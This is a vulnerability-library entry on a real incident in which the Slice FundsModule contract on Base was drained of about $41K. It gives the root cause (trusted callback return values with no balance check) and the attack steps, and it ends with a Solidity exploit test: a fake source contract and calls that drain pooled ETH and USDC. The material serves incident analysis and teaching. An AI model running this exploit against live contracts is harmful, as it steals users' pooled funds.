# Slice FundsModule: fake source deposits drain pooled reserves

Slice FundsModule trusted caller-supplied source contracts' reported release amounts, letting an attacker fake deposits and drain ~$41K pooled ETH/USDC on Base.

- Payout: Real-world hack
- Severity: high
- Program: SliceFundsModule
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-20
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/SliceFundsModule_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261020-slicefundsmodule
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** FundsModule proxy contract on Base (0x61bCd1ED...)
**Root cause:** The permissionless 0x9d2edfac entry point calls caller-supplied source contracts' _releaseFromFundsModule and credits the returned amount as a deposit without verifying the module's balance increased, then pays it out of pooled reserves when a flag is set.
**Steps:**
1. Call `0x9d2edfac` with flag=false against real Slice product contracts and real investor recipients to pool their ETH/USDC into the module.
2. Deploy FakeSource contracts whose `_releaseFromFundsModule` returns the module's live balance while transferring nothing.
3. Call `0x9d2edfac` with flag=true against the FakeSource and attacker as recipient, causing the module to credit and pay out the pooled reserves.
4. Repeat for ETH and USDC; net ~8.7169 ETH and 19,820.73 USDC to attacker.
**How found:** Recovered the unverified 0x9d2edfac entry point, its (address[],address,address,bool) argument layout, and the _releaseFromFundsModule callback from the on-chain execution trace; noticed the module trusted the returned amount without balance verification.
**Exploitation:** Attacker first pooled genuine user funds from Slice product contracts into the FundsModule via the same entry point with flag=false, then used self-deployed fake source contracts returning non-zero amounts without transferring assets to drain the pooled reserves to their EOA in one atomic transaction.
**Insight:** When a contract accepts caller-supplied addresses and trusts their return values for accounting, check whether the contract verifies its own balance delta; unverified callbacks enable fake deposits that drain pooled reserves.

## Proof of concept (copied exactly from the original report)

**FakeSource returning module balance without transferring**

```
contract FakeSource {
    address internal immutable module;
    address internal immutable token; // address(0) == native ETH

    constructor(address _module, address _token) {
        module = _module;
        token = _token;
    }

    function _releaseFromFundsModule(address, address) external view returns (uint256, uint256) {
        uint256 bal = token == address(0) ? module.balance : IERC20(token).balanceOf(module);
        return (bal, 0);
    }
}
```

**Exploit test draining via fake sources**

```
function testExploit() public {
        ethSource = new FakeSource(FUNDS_MODULE, ETH);
        usdcSource = new FakeSource(FUNDS_MODULE, address(USDC));

        // Step 1: pool genuine ETH reserves out of the real Slice products into the module.
        (address[] memory es, address[] memory et) = _ethLegs();
        for (uint256 i; i < es.length; ++i) {
            _release(es[i], et[i], ETH, false); // tolerant: pool whatever the real products release
        }

        // Step 2: drain the pooled ETH with a fake source that transfers nothing.
        uint256 ethBefore = address(this).balance;
        require(_release(address(ethSource), address(this), ETH, true), "ETH drain failed");
        uint256 ethGain = address(this).balance - ethBefore;

        // Step 3: pool genuine USDC reserves into the module.
        (address[] memory us, address[] memory ut) = _usdcLegs();
        for (uint256 i; i < us.length; ++i) {
            _release(us[i], ut[i], address(USDC), false); // tolerant
        }

        // Step 4: drain the pooled USDC the same way.
        uint256 usdcBefore = USDC.balanceOf(address(this));
        require(_release(address(usdcSource), address(this), address(USDC), true), "USDC drain failed");
        uint256 usdcGain = USDC.balanceOf(address(this)) - usdcBefore;

        console.log("ETH drained  (wei) :", ethGain);
        console.log("USDC drained (unit):", usdcGain);

        // Exact match to within the module's 1-unit floor rounding on the pay-out leg.
        assertApproxEqAbs(ethGain, DRAINED_ETH, 1e9, "ETH drain mismatch");
        assertApproxEqAbs(usdcGain, DRAINED_USDC, 10, "USDC drain mismatch");
    }
```

**Raw selector call to vulnerable entry point**

```
function _release(address src, address to, address token, bool flag) internal returns (bool ok) {
        address[] memory sources = new address[](1);
        sources[0] = src;
        (ok,) = FUNDS_MODULE.call(abi.encodeWithSelector(RELEASE, sources, to, token, flag));
    }
```

